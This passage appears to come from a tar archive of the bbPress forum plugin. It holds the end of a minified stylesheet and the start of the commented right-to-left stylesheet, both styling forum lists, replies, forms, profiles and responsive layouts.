15px;padding:0}#bbpress-forums div.bbp-reply-content ul li,#bbpress-forums div.bbp-topic-content ul li{list-style-type:disc}#bbpress-forums div.bbp-reply-content ol li,#bbpress-forums div.bbp-topic-content ol li{list-style-type:decimal}#bbpress-forums div.bbp-reply-content ol li li,#bbpress-forums div.bbp-topic-content ol li li{list-style-type:lower-alpha}#bbpress-forums div.bbp-reply-content ol li li li,#bbpress-forums div.bbp-topic-content ol li li li{list-style-type:upper-roman}#bbpress-forums div.bbp-reply-content code,#bbpress-forums div.bbp-reply-content pre,#bbpress-forums div.bbp-topic-content code,#bbpress-forums div.bbp-topic-content pre{font-family:Inconsolata,Consolas,Monaco,"Lucida Console",monospace;display:inline-block;background-color:#f9f9f9;border:1px solid #ddd;padding:0 5px;max-width:95%;vertical-align:middle;margin-top:-3px;overflow-x:auto}#bbpress-forums div.bbp-reply-content pre,#bbpress-forums div.bbp-topic-content pre{display:block;line-height:18px;margin:0 0 24px;padding:5px 10px;white-space:pre;overflow:auto}#bbpress-forums div.bbp-reply-content pre code,#bbpress-forums div.bbp-topic-content pre code{display:block;border:none;padding:0;margin:0;background-color:transparent;overflow-wrap:normal;overflow:auto;max-width:100%}#bbpress-forums div.bbp-reply-content iframe.wp-embedded-content,#bbpress-forums div.bbp-topic-content iframe.wp-embedded-content{position:relative}#bbpress-forums div.bbp-reply-to{margin-left:130px;padding:12px 12px 12px 0;text-align:right}#bbpress-forums div#bbp-cancel-reply-to{text-align:right}div.bbp-breadcrumb{float:left}div.bbp-breadcrumb,div.bbp-topic-tags{font-size:12px}#bbpress-forums div.bbp-breadcrumb p,#bbpress-forums div.bbp-topic-tags p{margin:0 0 10px 0}#bbpress-forums div.bbp-topic-tags{float:right;clear:both}#bbp-topic-hot-tags{clear:both}#bbpress-forums #bbp-search-form{clear:left}#bbpress-forums #bbp-search-form .hidden{height:0;width:0;overflow:hidden;position:absolute;background:0 0;left:-999em}#bbpress-forums #bbp-search-form #bbp_search{display:inline-block;width:auto}#bbpress-forums div.bbp-search-form{float:right}span.bbp-admin-links{float:right;color:#ddd}span.bbp-admin-links a{color:#707070;font-weight:400;font-size:10px;text-transform:uppercase;text-decoration:none}fieldset span.bbp-admin-links{float:left}tr td span.bbp-admin-links a:hover{color:#ff4b33}td.bbp-topic-admin-links,td.bbp-topic-counts{width:50%}.bbp-forum-header a.bbp-forum-permalink,.bbp-reply-header a.bbp-reply-permalink,.bbp-topic-header a.bbp-topic-permalink{float:right;margin-left:10px;color:#707070}.bbp-row-actions #favorite-toggle a{text-decoration:none;padding:0 3px 1px;color:#7c7;border:1px solid #aca;background-color:#dfd;font-weight:700;font-size:12px}.bbp-row-actions #favorite-toggle a:hover{color:#5a5;border-color:#7c7;background-color:#beb}.bbp-row-actions #favorite-toggle span.is-favorite a{color:#faa;border:1px solid #faa;background-color:#fee}.bbp-row-actions #favorite-toggle span.is-favorite a:hover{color:#c88;border-color:#c88;background-color:#fdd}.bbp-row-actions #subscription-toggle a{text-decoration:none;padding:0 3px 1px;color:#7c7;border:1px solid #aca;background-color:#dfd;font-weight:700;font-size:12px}.bbp-row-actions #subscription-toggle a:hover{color:#5a5;border-color:#7c7;background-color:#beb}.bbp-row-actions #subscription-toggle span.is-subscribed a{color:#faa;border:1px solid #faa;background-color:#fee}.bbp-row-actions #subscription-toggle span.is-subscribed a:hover{color:#c88;border-color:#c88;background-color:#fdd}#bbpress-forums .bbp-forum-info .bbp-forum-content,#bbpress-forums p.bbp-topic-meta{font-size:11px;margin:5px 0;padding:0;word-wrap:break-word}#bbpress-forums p.bbp-topic-meta span{white-space:nowrap}.bbp-pagination-count{float:left;border:1px solid transparent}.bbp-pagination-links{float:right;list-style:none;display:inline}.bbp-pagination{float:left;width:100%;margin-bottom:15px}#bbpress-forums .bbp-pagination-links a,#bbpress-forums .bbp-pagination-links span.current{display:block;float:left;font-size:12px;line-height:18px;padding:0 5px;margin-left:5px;border:1px solid #efefef;border-radius:0;background:0 0;color:inherit;text-decoration:none}#bbpress-forums .bbp-pagination-links span.dots{display:block;float:left;padding:1px 4px;margin-left:5px}#bbpress-forums .bbp-topic-pagination{display:inline-block;margin-left:5px;margin-bottom:2px}#bbpress-forums .bbp-topic-pagination a{font-size:10px;font-weight:400;line-height:10px;margin:0;padding:1px 3px;border:1px solid #ddd;color:inherit;background:0 0;display:inline;text-decoration:none}#bbpress-forums .bbp-pagination-links a:hover,#bbpress-forums .bbp-pagination-links span.current,#bbpress-forums .bbp-topic-pagination a:hover{background:#eee;opacity:.8;border:1px solid #ddd}#bbpress-forums fieldset.bbp-form{clear:left;border:1px solid #eee;padding:10px 20px;margin-bottom:10px}#bbpress-forums fieldset.bbp-form legend{padding:5px;width:auto;border:none}#bbpress-forums fieldset.bbp-form label{margin:0;display:inline-block}#bbp-edit-topic-tag.bbp-form fieldset.bbp-form label,#bbp-login fieldset label,#bbp-lost-pass fieldset label,#bbp-register fieldset label{width:100px}#bbpress-forums fieldset.bbp-form p{padding:0}#bbpress-forums fieldset.bbp-form input,#bbpress-forums fieldset.bbp-form p,#bbpress-forums fieldset.bbp-form select,#bbpress-forums fieldset.bbp-form textarea{margin:0 0 8px}#bbpress-forums fieldset.bbp-form input[type=text],#bbpress-forums fieldset.bbp-form select{min-height:28px;height:28px;padding:5px}textarea#bbp_forum_content,textarea#bbp_reply_content,textarea#bbp_topic_content{width:97%;box-sizing:border-box}textarea#bbp_forum_content{height:210px}#bbpress-forums fieldset.bbp-forum-form-attributes{width:200px;float:right;clear:none;margin-left:25px}#bbpress-forums fieldset select#bbp_forum_id{max-width:200px}.bbp-reply-form,.bbp-topic-form,.bbp-topic-tag-form{clear:left}body.reply-edit .bbp-reply-form div.avatar img,body.single-forum .bbp-topic-form div.avatar img,body.single-reply .bbp-reply-form div.avatar img,body.topic-edit .bbp-topic-form div.avatar img{margin-right:0;padding:10px;border:1px solid #ddd;line-height:0;background-color:#efefef}body.page .bbp-reply-form code,body.page .bbp-topic-form code,body.reply-edit .bbp-reply-form code,body.single-forum .bbp-topic-form code,body.single-topic .bbp-reply-form code,body.topic-edit .bbp-topic-form code{font-size:10px;background-color:#f0fff8;border:1px solid #ceefe1;display:block;padding:8px;margin-top:5px;width:369px}#delete_tag,#merge_tag{display:inline}div.bbp-submit-wrapper{margin-top:15px;float:right;clear:both}p.form-allowed-tags{max-width:100%}#bbpress-forums div.bbp-the-content-wrapper{margin-bottom:10px}#bbpress-forums div.bbp-the-content-wrapper textarea.bbp-the-content{width:100%;margin:0;font-size:12px}#bbpress-forums div.bbp-the-content-wrapper table,#bbpress-forums div.bbp-the-content-wrapper tbody,#bbpress-forums div.bbp-the-content-wrapper td,#bbpress-forums div.bbp-the-content-wrapper tr{border:none;padding:0;margin:0;width:auto;line-height:1}#bbpress-forums div.bbp-the-content-wrapper input[type=button]{padding:4px 7px;margin:0 -1px 0 0;line-height:0;border:1px solid transparent;background-color:transparent;box-shadow:none;text-shadow:none;text-transform:uppercase;font-size:11px;font-weight:400;border-radius:3px;min-width:25px;color:#555}#bbpress-forums div.bbp-the-content-wrapper input[type=button]:hover{border-color:rgba(0,0,0,.1);background-color:rgba(255,255,255,.5)}#bbpress-forums div.bbp-the-content-wrapper div.quicktags-toolbar{padding:5px;min-height:26px}#bbpress-forums div.bbp-the-content-wrapper td.mceToolbar{padding:4px 4px 8px}#bbpress-forums div.wp-editor-container{margin:0;padding:0;line-height:0}#bbpress-forums div.bbp-the-content-wrapper td.mceStatusbar{line-height:16px}#bbpress-forums .bbp-replies .bbp-reply-form{margin:0 10px 0 10px}#bbpress-forums #bbp-your-profile fieldset{padding:20px 20px 0}#bbpress-forums #bbp-your-profile fieldset div{margin-bottom:20px;float:left;width:100%;clear:left}#bbpress-forums #bbp-your-profile fieldset select{margin-bottom:0;width:60%;background-color:#f9f9f9;border:1px solid #ddd}#bbpress-forums #bbp-your-profile fieldset input,#bbpress-forums #bbp-your-profile fieldset textarea{margin-bottom:0;width:60%;background-color:#f9f9f9;border:1px solid #ddd;box-shadow:none;border-radius:0}#bbpress-forums #bbp-your-profile fieldset input:focus,#bbpress-forums #bbp-your-profile fieldset textarea:focus{border:1px solid #ccc;box-shadow:inset 1px 1px 1px rgba(0,0,0,.1);outline-color:rgba(240,255,240,.1)}#bbpress-forums #bbp-your-profile fieldset.bbp-form input.checkbox{width:auto}#bbpress-forums #bbp-your-profile fieldset legend{display:none}#bbpress-forums #bbp-your-profile fieldset label[for]{float:left;width:20%;padding:5px 20px 5px 0;text-align:right;cursor:pointer}#bbpress-forums #bbp-your-profile fieldset dl label[for]{text-align:left;width:60%}#bbpress-forums #bbp-your-profile fieldset p.description{margin:5px 0 0 20%;font-size:12px;font-style:italic;float:left;clear:left;width:60%;padding:5px 8px;border:#cee1ef 1px solid;background-color:#f0f8ff}#bbpress-forums #bbp-your-profile fieldset fieldset{margin:0;border:none;padding:0;clear:none;float:none}#bbpress-forums #bbp-your-profile fieldset fieldset.capabilities dl{margin:0}#bbpress-forums #bbp-your-profile fieldset.submit button{float:right}#bbpress-forums #bbp-your-profile fieldset fieldset.password{width:60%;display:inline}#bbpress-forums #bbp-your-profile fieldset fieldset.password .password-button-wrapper,#bbpress-forums #bbp-your-profile fieldset fieldset.password .password-input-wrapper{width:100%;margin:0;display:inline-block}#bbpress-forums #bbp-your-profile fieldset fieldset.password .password-button-wrapper button{width:46%;margin:4% 2%;box-sizing:border-box;display:inline-block}#bbpress-forums #bbp-your-profile fieldset fieldset.password input,#bbpress-forums #bbp-your-profile fieldset fieldset.passwword textarea{width:100%}#bbpress-forums #bbp-your-profile fieldset fieldset.password button .dashicons{display:none}#bbpress-forums #bbp-your-profile fieldset fieldset.password span.description{margin-left:0;margin-bottom:20px}#bbpress-forums #password #pass-strength-result{background-color:#eee;border:1px solid #ddd;color:#23282d;margin:0;padding:8px;text-align:center;box-sizing:border-box;display:inline-block}#bbpress-forums #password #pass-strength-result.short{background-color:#f1adad;border-color:#e35b5b;opacity:1}#bbpress-forums #password #pass-strength-result.bad{background-color:#fbc5a9;border-color:#f78b53;opacity:1}#bbpress-forums #password #pass-strength-result.good{background-color:#ffe399;border-color:#ffc733;opacity:1}#bbpress-forums #password #pass-strength-result.strong{background-color:#c1e1b9;border-color:#83c373;opacity:1}#bbpress-forums #password #pass1-text.short,#bbpress-forums #password #pass1.short{border-color:#e35b5b}#bbpress-forums #password #pass1-text.bad,#bbpress-forums #password#pass1.bad{border-color:#f78b53}#bbpress-forums #password #pass1-text.good,#bbpress-forums #password #pass1.good{border-color:#ffc733}#bbpress-forums #password #pass1-text.strong,#bbpress-forums #password #pass1.strong{border-color:#83c373}#bbpress-forums .indicator-hint{padding-top:8px}#bbpress-forums #pass1-text,#bbpress-forums .pw-weak,#bbpress-forums .show-password #pass1{display:none}#bbpress-forums .show-password #pass1-text{display:inline-block}div.bbp-template-notice,div.indicator-hint{border-width:1px;border-style:solid;padding:0 .6em;margin:5px 0 15px;border-radius:3px;background-color:#ffffe0;border-color:#e6db55;color:#000;clear:both}div.bbp-template-notice a{color:#555;text-decoration:none}div.bbp-template-notice a:hover{color:#000}div.bbp-template-notice.info{border:#cee1ef 1px solid;background-color:#f0f8ff}div.bbp-template-notice.important{border:#e6db55 1px solid;background-color:#fffbcc}div.bbp-template-notice.error,div.bbp-template-notice.warning{background-color:#ffebe8;border-color:#c00}div.bbp-template-notice.error a,div.bbp-template-notice.warning a{color:#c00}div.bbp-template-notice li,div.bbp-template-notice p{margin:.5em 0 6px!important;padding:2px;font-size:12px;line-height:1.4}#bbpress-forums div.bbp-template-notice code{font-size:11px;padding:2px 4px;background:rgba(200,200,200,.3);border-radius:3px}.bbp-forum-content ul.sticky,.bbp-topics ul.sticky,.bbp-topics ul.super-sticky,.bbp-topics-front ul.super-sticky{background-color:#ffffe0!important;font-size:1.1em}#bbpress-forums .bbp-reply-content ul.bbp-reply-revision-log,#bbpress-forums .bbp-reply-content ul.bbp-topic-revision-log,#bbpress-forums .bbp-topic-content ul.bbp-topic-revision-log{border-top:1px dotted #ddd;width:100%;margin:0;padding:8px 0 0;font-size:11px;color:#aaa}#bbpress-forums .bbp-reply-content ul.bbp-reply-revision-log li,#bbpress-forums .bbp-reply-content ul.bbp-topic-revision-log li,#bbpress-forums .bbp-topic-content ul.bbp-topic-revision-log li{list-style-type:none}#bbpress-forums .bbp-reply-content ul.bbp-reply-revision-log a,#bbpress-forums .bbp-reply-content ul.bbp-topic-revision-log a,#bbpress-forums .bbp-topic-content ul.bbp-topic-revision-log a{text-decoration:none}.bbp-login-form fieldset legend{display:none}.bbp-login-form .bbp-email input,.bbp-login-form .bbp-password input,.bbp-login-form .bbp-username input{padding:5px}.bbp-login-form label{width:140px;display:inline-block}#sidebar .bbp-login-form label{width:70px}.bbp-login-form .bbp-email,.bbp-login-form .bbp-password,.bbp-login-form .bbp-remember-me,.bbp-login-form .bbp-submit-wrapper,.bbp-login-form .bbp-username{margin-top:10px}.bbp-login-form .bbp-submit-wrapper{text-align:right}.bbp-login-form .bbp-login-links a{float:left;clear:left}.bbp-logged-in img.avatar{float:left;margin:0 15px 0 0}.bbp-logged-in h4{font-weight:700;font-size:1.3em;clear:none;margin-bottom:10px}#bbpress-forums img.avatar{box-shadow:none;display:inline-block;margin-right:4px}#bbpress-forums .widget_display_replies img.avatar,#bbpress-forums .widget_display_topics img.avatar,#bbpress-forums div.bbp-template-notice img.avatar,#bbpress-forums p.bbp-topic-meta img.avatar,#bbpress-forums ul.bbp-reply-revision-log img.avatar,#bbpress-forums ul.bbp-topic-revision-log img.avatar{float:none;vertical-align:middle;border:3px double #ddd;max-height:20px;max-width:20px}fieldset div.avatar{float:right}.activity-list li.bbp_reply_create .activity-content .activity-inner,.activity-list li.bbp_topic_create .activity-content .activity-inner{border-left:2px solid #eaeaea;margin-left:5px;padding-left:10px}#bbpress-forums h1{clear:none;font-size:1.8em;line-height:1;padding-bottom:10px}#bbpress-forums #bbp-user-wrapper{float:left;width:100%}#bbpress-forums .bbp-user-section{overflow:auto;clear:right}#bbpress-forums #bbp-user-wrapper h2.entry-title{font-size:1.4em;margin:0;padding-bottom:10px;padding-top:0;clear:none}#bbpress-forums #bbp-user-wrapper fieldset.bbp-form,#bbpress-forums #bbp-user-wrapper ul.bbp-forums,#bbpress-forums #bbp-user-wrapper ul.bbp-lead-topic,#bbpress-forums #bbp-user-wrapper ul.bbp-replies,#bbpress-forums #bbp-user-wrapper ul.bbp-topics{clear:none}#bbpress-forums #bbp-single-user-details{margin:0;width:150px;float:left;overflow:hidden}#bbpress-forums #bbp-single-user-details #bbp-user-avatar{margin:0;width:150px}#bbpress-forums #bbp-single-user-details #bbp-user-avatar img.avatar{border:none;height:150px;padding:0;margin:0 0 20px;width:150px}#bbpress-forums #bbp-single-user-details #bbp-user-description{float:none;margin-left:180px}#bbpress-forums #bbp-single-user-details #bbp-user-navigation{float:none;margin:0}#bbpress-forums #bbp-single-user-details #bbp-user-navigation li{margin:0}#bbpress-forums #bbp-single-user-details #bbp-user-navigation a{padding:5px 8px;display:block;border:1px solid transparent;text-decoration:none}#bbpress-forums #bbp-single-user-details #bbp-user-navigation li.current a{background:#eee;opacity:.8}#bbpress-forums #bbp-user-body{margin-left:180px}body.my-account #bbpress-forums{border-top:none;padding-top:0;margin-bottom:0}#bbpress-forums dl.bbp-user-capabilities{display:inline-block;vertical-align:top}#bbpress-forums dl.bbp-user-capabilities dt{margin:0 0 10px;text-transform:capitalize}#bbpress-forums dl.bbp-user-capabilities dd{margin:0;padding:0}.bbp-alert-outer{height:100%;width:100%;top:0;left:0;position:fixed;background-color:rgba(0,0,0,.2);z-index:99999}.bbp-alert-inner{width:350px;text-align:center;background:#fff;position:fixed;top:50%;left:50%;margin-top:-75px;margin-left:-185px;border-radius:3px;border:1px solid #aaa;padding:15px 10px 10px}.bbp-alert-outer .bbp-alert-inner p{margin:10px 0}.bbp-alert-actions a{padding:5px 20px;text-decoration:none}@media only screen and (max-width:480px){#bbpress-forums div.bbp-topic-tags{clear:both;float:none}div.bbp-search-form button,div.bbp-search-form input{font-size:11px;padding:2px}li.bbp-forum-info,li.bbp-topic-title{width:45%}li.bbp-forum-reply-count,li.bbp-forum-topic-count,li.bbp-topic-reply-count,li.bbp-topic-voice-count{width:15%}span.bbp-reply-post-date,span.bbp-topic-post-date{float:left}span.bbp-admin-links{float:none;clear:both}#bbpress-forums .bbp-forums-list li,#bbpress-forums .bbp-forums-list span{display:block;font-size:11px}#bbpress-forums .bbp-body div.bbp-reply-author,#bbpress-forums .bbp-body div.bbp-topic-author{float:none;margin:10px;min-height:80px;padding-left:80px;position:relative;text-align:left;width:calc(100% - 100px);border-bottom:1px solid #efefef;box-sizing:content-box}#bbpress-forums div.bbp-reply-author .bbp-author-name,#bbpress-forums div.bbp-topic-author .bbp-author-name{clear:none;display:inline-block;margin-left:0;word-wrap:break-word}#bbpress-forums div.bbp-reply-author img.avatar,#bbpress-forums div.bbp-topic-author img.avatar{position:absolute;top:0;left:0;width:60px;height:auto;margin-top:0}#bbpress-forums div.bbp-reply-author .bbp-author-role,#bbpress-forums div.bbp-topic-author .bbp-author-role{font-size:12px;font-style:normal}#bbpress-forums .bbp-body div.bbp-reply-content,#bbpress-forums .bbp-body div.bbp-topic-content{clear:both;margin:0 10px 5px 10px;padding:0}#bbpress-forums div.bbp-reply-content p,#bbpress-forums div.bbp-topic-content p{margin-bottom:1em}#bbpress-forums div.bbp-reply-content p:last-child,#bbpress-forums div.bbp-topic-content p:last-child{margin-bottom:0}div.bbp-submit-wrapper{float:left}#bbpress-forums fieldset.bbp-form{padding:0 10px 10px}#bbpress-forums #bbp-user-body{clear:both;margin-left:0;word-wrap:break-word}#bbpress-forums div.bbp-forum-title h3,#bbpress-forums div.bbp-reply-title h3,#bbpress-forums div.bbp-topic-title h3{font-size:14px}}@media only screen and (max-width:320px){#bbpress-forums div.bbp-search-form{margin-bottom:10px}#bbpress-forums li.bbp-body li.bbp-forum-info,#bbpress-forums li.bbp-body li.bbp-topic-title,#bbpress-forums li.bbp-header li.bbp-forum-info,#bbpress-forums li.bbp-header li.bbp-topic-title{width:100%}#bbpress-forums li.bbp-header li.bbp-forum-info,#bbpress-forums li.bbp-header li.bbp-topic-title{text-align:center;text-transform:uppercase}#bbpress-forums li.bbp-body li.bbp-forum-reply-count,#bbpress-forums li.bbp-body li.bbp-forum-topic-count,#bbpress-forums li.bbp-body li.bbp-topic-reply-count,#bbpress-forums li.bbp-body li.bbp-topic-voice-count,#bbpress-forums li.bbp-header li.bbp-forum-reply-count,#bbpress-forums li.bbp-header li.bbp-forum-topic-count,#bbpress-forums li.bbp-header li.bbp-topic-reply-count,#bbpress-forums li.bbp-header li.bbp-topic-voice-count{width:20%}#bbpress-forums li.bbp-body li.bbp-forum-freshness,#bbpress-forums li.bbp-body li.bbp-topic-freshness,#bbpress-forums li.bbp-header li.bbp-forum-freshness,#bbpress-forums li.bbp-header li.bbp-topic-freshness{width:58%}#bbpress-forums li.bbp-body li.bbp-forum-freshness,#bbpress-forums li.bbp-body li.bbp-forum-reply-count,#bbpress-forums li.bbp-body li.bbp-forum-topic-count,#bbpress-forums li.bbp-body li.bbp-topic-freshness,#bbpress-forums li.bbp-body li.bbp-topic-reply-count,#bbpress-forums li.bbp-body li.bbp-topic-voice-count{margin-top:7px}#bbpress-forums li.bbp-footer,#bbpress-forums li.bbp-header{font-size:10px}#bbpress-forums li.bbp-header div.bbp-reply-author,#bbpress-forums li.bbp-header div.bbp-search-author,#bbpress-forums li.bbp-header div.bbp-topic-author{text-align:left;width:25%}#bbpress-forums li.bbp-header div.bbp-reply-content,#bbpress-forums li.bbp-header div.bbp-search-content,#bbpress-forums li.bbp-header div.bbp-topic-content{margin-left:25%}#bbpress-forums div.bbp-template-notice img.avatar,#bbpress-forums p.bbp-topic-meta img.avatar{width:14px;height:auto;max-height:14px;max-width:14px}#bbpress-forums div.bbp-the-content-wrapper td.mceToolbar{padding:1px}#bbpress-forums div.bbp-the-content-wrapper td.mceToolbar td{width:20px;height:20px}#bbpress-forums div.wp-editor-container{width:100%;overflow:auto}#bbpress-forums input#bbp_topic_tags,#bbpress-forums input#bbp_topic_title{width:95%}#bbpress-forums div.bbp-forum-title h3,#bbpress-forums div.bbp-reply-title h3,#bbpress-forums div.bbp-topic-title h3{font-size:14px}}@media only screen and (max-width:240px){#bbpress-forums li.bbp-body li.bbp-forum-reply-count,#bbpress-forums li.bbp-body li.bbp-forum-topic-count,#bbpress-forums li.bbp-body li.bbp-topic-reply-count,#bbpress-forums li.bbp-body li.bbp-topic-voice-count,#bbpress-forums li.bbp-footer div.bbp-reply-author,#bbpress-forums li.bbp-footer div.bbp-search-author,#bbpress-forums li.bbp-footer div.bbp-topic-author,#bbpress-forums li.bbp-header li.bbp-forum-reply-count,#bbpress-forums li.bbp-header li.bbp-forum-topic-count,#bbpress-forums li.bbp-header li.bbp-topic-reply-count,#bbpress-forums li.bbp-header li.bbp-topic-voice-count{width:45%}#bbpress-forums li.bbp-body li.bbp-forum-freshness,#bbpress-forums li.bbp-body li.bbp-topic-freshness,#bbpress-forums li.bbp-header li.bbp-forum-freshness,#bbpress-forums li.bbp-header li.bbp-topic-freshness{clear:both;width:100%}#bbpress-forums li.bbp-header li.bbp-forum-freshness,#bbpress-forums li.bbp-header li.bbp-topic-freshness{text-align:center}#bbpress-forums li.bbp-body li.bbp-topic-freshness,#bbpress-forums li.bbp-header div.bbp-reply-author,#bbpress-forums li.bbp-header div.bbp-reply-content,#bbpress-forums li.bbp-header div.bbp-search-author,#bbpress-forums li.bbp-header div.bbp-search-content,#bbpress-forums li.bbp-header div.bbp-topic-author,#bbpress-forums li.bbp-header div.bbp-topic-content{margin-left:0;text-align:left}#bbpress-forums li.bbp-body li.bbp-topic-freshness p.bbp-topic-meta{display:inline-block}#bbpress-forums li.bbp-header{overflow:hidden}#bbpress-forums li.bbp-footer div.bbp-reply-content,#bbpress-forums li.bbp-footer div.bbp-search-content,#bbpress-forums li.bbp-footer div.bbp-topic-content{display:inline-block;margin-left:0}#bbpress-forums li.bbp-body div.bbp-reply-author,#bbpress-forums li.bbp-body div.bbp-topic-author{min-height:60px;padding-left:60px}#bbpress-forums div.bbp-reply-author img.avatar,#bbpress-forums div.bbp-topic-author img.avatar{width:40px;height:auto}#bbpress-forums div.bbp-forum-title h3,#bbpress-forums div.bbp-reply-title h3,#bbpress-forums div.bbp-topic-title h3{font-size:12px}}templates/default/css/bbpress-rtl.css000066600000107347151771460310013754 0ustar00/**
 * bbPress specific CSS
 *
 * @package bbPress
 * @subpackage Theme
 */

/* =bbPress Style
-------------------------------------------------------------- */

.hidden,
.js .hide-if-js {
	display: none;
}

/* Hide visually but not from screen readers */
.screen-reader-text,
.screen-reader-text span,
.ui-helper-hidden-accessible {
	position: absolute;
	margin: -1px;
	padding: 0;
	height: 1px;
	width: 1px;
	overflow: hidden;
	clip: rect(1px, 1px, 1px, 1px);
	-webkit-clip-path: inset(50%);
	clip-path: inset(50%);
	border: 0;
	word-wrap: normal !important; /* many screen reader and browser combinations announce broken words as they would appear visually */
}

#bbpress-forums {
	background: transparent;
	clear: both;
	margin-bottom: 20px;
	overflow: hidden;
	font-size: 12px;
	line-height: 18px;
}

#bbpress-forums a,
#bbpress-forums a:hover {
	box-shadow: none;
	border: none;
	transition: none;
}

/* Original UL styling */
#bbpress-forums ul,
/* Use ID & class together for increased target strength */
#bbpress-forums.bbpress-wrapper ul {
	background: none;
	list-style: none;
	margin: 0;
	padding: 0;
}

#bbpress-forums hr {
	margin: 0 0 24px;
}

#bbpress-forums div.even,
#bbpress-forums ul.even {
	background-color: #fff;
}

#bbpress-forums div.odd,
#bbpress-forums ul.odd {
	background-color: #fbfbfb;
}

body.reply-edit .reply {
	float: none;
}

#bbpress-forums div.reply {
	height: auto;
	width: 100%;
	box-sizing: border-box;
}

#bbpress-forums div.bbp-forum-header,
#bbpress-forums div.bbp-topic-header,
#bbpress-forums div.bbp-reply-header {
	background-color: #f4f4f4;
}

#bbpress-forums .status-trash.even,
#bbpress-forums .status-spam.even {
	background-color: #fee;
}

#bbpress-forums .status-trash.odd,
#bbpress-forums .status-spam.odd {
	background-color: #fdd;
}

#bbpress-forums .status-pending.even,
#bbpress-forums .status-pending.odd,
#bbpress-forums ul.status-pending a {
	background-color: #fef7f1;
}

#bbpress-forums ul.status-closed,
#bbpress-forums ul.status-closed a {
	color: #ccc;
}

#bbpress-forums ul.bbp-threaded-replies {
	margin-right: 50px;
}

#bbpress-forums li {
	background: none;
	margin: 0;
	list-style: none;
}

#bbpress-forums ul.bbp-lead-topic,
#bbpress-forums ul.bbp-topics,
#bbpress-forums ul.bbp-forums,
#bbpress-forums ul.bbp-replies,
#bbpress-forums ul.bbp-search-results {
	font-size: 12px;
	overflow: hidden;
	border: 1px solid #eee;
	margin-bottom: 20px;
	clear: both;
}

#bbpress-forums li.bbp-header,
#bbpress-forums li.bbp-body,
#bbpress-forums li.bbp-footer {
	clear: both;
}

#bbpress-forums li.bbp-header,
#bbpress-forums li.bbp-footer {
	background: #f3f3f3;
	border-top: 1px solid #eee;
	font-weight: 700;
	padding: 8px;
	text-align: center;
}

#bbpress-forums li.bbp-header {
	background: #eaeaea;
}

#bbpress-forums li.bbp-header ul {
	overflow: hidden;
}

#bbpress-forums .bbp-forums-list {
	margin: 0 7px 0 0;
	padding-right: 12px;
	border-right: 1px solid #ddd;
}

#bbpress-forums .bbp-forums-list .bbp-forum {
	display: inline;
	font-size: 11px;
}

#bbpress-forums .bbp-forums-list .bbp-forum.css-sep:not(:last-child)::after {
	content: ", ";
}

#bbpress-forums li.bbp-footer p {
	margin: 0;
	line-height: 1;
}

li.bbp-forum-info,
li.bbp-topic-title {
	float: right;
	text-align: right;
	width: 55%;
}

li.bbp-forum-topic-count,
li.bbp-topic-voice-count,
li.bbp-forum-reply-count,
li.bbp-topic-reply-count {
	float: right;
	text-align: center;
	width: 10%;
}

li.bbp-forum-freshness,
li.bbp-topic-freshness {
	text-align: center;
	float: right;
	width: 22%;
}

#bbpress-forums li.bbp-body ul.forum,
#bbpress-forums li.bbp-body ul.topic {
	border-top: 1px solid #eee;
	overflow: hidden;
	padding: 8px;
}

#bbpress-forums #subscription-toggle,
#bbpress-forums #favorite-toggle {
	float: left;
}

#bbpress-forums div.bbp-forum-title h3,
#bbpress-forums div.bbp-topic-title h3,
#bbpress-forums div.bbp-reply-title h3 {
	background: none;
	border: none;
	font-size: 16px;
	line-height: 1;
	margin: 8px 0;
	padding: 0;
	text-transform: none;
}

#bbpress-forums div.bbp-forum-author,
#bbpress-forums div.bbp-topic-author,
#bbpress-forums div.bbp-reply-author {
	float: right;
	text-align: center;
	width: 115px;
}

#bbpress-forums div.bbp-forum-author img.avatar,
#bbpress-forums div.bbp-topic-author img.avatar,
#bbpress-forums div.bbp-reply-author img.avatar {
	border: none;
	max-width: 80px;
	padding: 0;
	margin: 12px auto 0;
	float: none;
}

#bbpress-forums div.bbp-forum-author .bbp-author-name,
#bbpress-forums div.bbp-topic-author .bbp-author-name,
#bbpress-forums div.bbp-reply-author .bbp-author-name {
	margin: 0 12px;
	word-wrap: break-word;
	display: inline-block;
}

#bbpress-forums div.bbp-topic-author .bbp-author-name,
#bbpress-forums div.bbp-reply-author .bbp-author-name {
	clear: right;
	display: block;
}

#bbpress-forums div.bbp-forum-author .bbp-author-role,
#bbpress-forums div.bbp-topic-author .bbp-author-role,
#bbpress-forums div.bbp-reply-author .bbp-author-role {
	font-size: 11px;
	font-style: italic;
}

#bbpress-forums li.bbp-header .bbp-search-author,
#bbpress-forums li.bbp-footer .bbp-search-author,
#bbpress-forums li.bbp-header .bbp-forum-author,
#bbpress-forums li.bbp-footer .bbp-forum-author,
#bbpress-forums li.bbp-header .bbp-topic-author,
#bbpress-forums li.bbp-footer .bbp-topic-author,
#bbpress-forums li.bbp-header .bbp-reply-author,
#bbpress-forums li.bbp-footer .bbp-reply-author {
	float: right;
	margin: 0;
	padding: 0;
	width: 120px;
}

#bbpress-forums li.bbp-header .bbp-search-content,
#bbpress-forums li.bbp-footer .bbp-search-content,
#bbpress-forums li.bbp-header .bbp-forum-content,
#bbpress-forums li.bbp-footer .bbp-forum-content,
#bbpress-forums li.bbp-header .bbp-topic-content,
#bbpress-forums li.bbp-footer .bbp-topic-content,
#bbpress-forums li.bbp-header .bbp-reply-content,
#bbpress-forums li.bbp-footer .bbp-reply-content {
	margin-right: 140px;
	padding: 0;
	text-align: right;
}

div.bbp-forum-header,
div.bbp-topic-header,
div.bbp-reply-header,
li.bbp-body div.hentry {
	margin: 0;
	overflow: hidden;
	padding: 8px;
}

div.bbp-forum-header,
div.bbp-topic-header,
div.bbp-reply-header {
	border-top: 1px solid #ddd;
	clear: both;
}

span.bbp-author-ip {
	font-size: 11px;
	font-weight: 700;
	word-wrap: break-word;
	color: #747474;
}

/* =Topic and reply content
-------------------------------------------------------------- */

#bbpress-forums div.bbp-forum-content,
#bbpress-forums div.bbp-topic-content,
#bbpress-forums div.bbp-reply-content {
	margin-right: 130px;
	padding: 12px 0 12px 12px;
	text-align: right;
	position: relative;
}

/* Clearing hack */
#bbpress-forums div.bbp-forum-content::after,
#bbpress-forums div.bbp-topic-content::after,
#bbpress-forums div.bbp-reply-content::after {
	clear: both;
	content: ".";
	display: block;
	float: none;
	height: 0;
	font-size: 0;
	visibility: hidden;
}

#bbpress-forums div.bbp-topic-content a,
#bbpress-forums div.bbp-reply-content a {
	background: none;
	border: none;
	display: inline;
	font-weight: 400;
	margin: 0;
	padding: 0;
	text-decoration: underline;
}

#bbpress-forums div.bbp-topic-content a.bbp-user-mention,
